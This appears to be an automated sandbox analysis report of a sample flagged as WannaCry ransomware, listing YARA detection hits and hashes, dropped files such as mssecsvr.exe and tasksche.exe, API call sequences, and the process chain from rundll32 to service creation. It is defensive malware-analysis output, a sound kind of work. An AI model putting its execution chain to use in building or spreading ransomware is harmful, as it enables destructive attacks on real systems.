Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.1e99104.5.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.1e950a4.3.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.23c08e8.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.23c4948.8.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: C:\Windows\tasksche.exe	Code function: 9_2_00402F2C	9_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B0D9	9_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B8B9	9_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 9_2_00414946	9_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 9_2_00410178	9_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 9_2_00404986	9_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 9_2_00429241	9_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 9_2_0042727C	9_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040CB23	9_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 9_2_004283FC	9_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041AC04	9_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 9_2_00416C3F	9_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00401CC1	9_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041F4D4	9_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041BCD9	9_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C4FF	9_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B4AD	9_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 9_2_00417D78	9_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 9_2_00427D04	9_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041450F	9_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00415D9A	9_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 9_2_00405610	9_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041462B	9_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 9_2_00413EE3	9_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 9_2_004106F4	9_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C756	9_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 9_2_004277C0	9_2_004277C0

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll

Source: Joe Sandbox View

Dropped File: C:\Windows\eee.exe 92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8

Source: IU28r0EZFA.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: IU28r0EZFA.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.23b58c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.1e8a084.2.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.1e99104.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.1e99104.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.1e8a084.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.1e8a084.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.23c4948.8.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.23c4948.8.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.23b58c8.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.23b58c8.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.1e99104.5.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.1e950a4.3.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.23c08e8.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.23c4948.8.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_6070234

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 49 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 37 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 38 times

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

9_2_0040690A

Source: mssecsvr.exe.3.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.3.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.9.dr

Static PE information: No import functions for PE file found

Source: IU28r0EZFA.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\tasksche.exe

File created: C:\Users\user\New folder

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@30/8@6/100

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		5_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		8_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 5_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		5_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 8_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		8_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

5_2_00407C40

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

5_2_00407CE0

Source: IU28r0EZFA.dll	ReversingLabs: Detection: 90%
Source: IU28r0EZFA.dll	Virustotal: Detection: 86%

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IU28r0EZFA.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
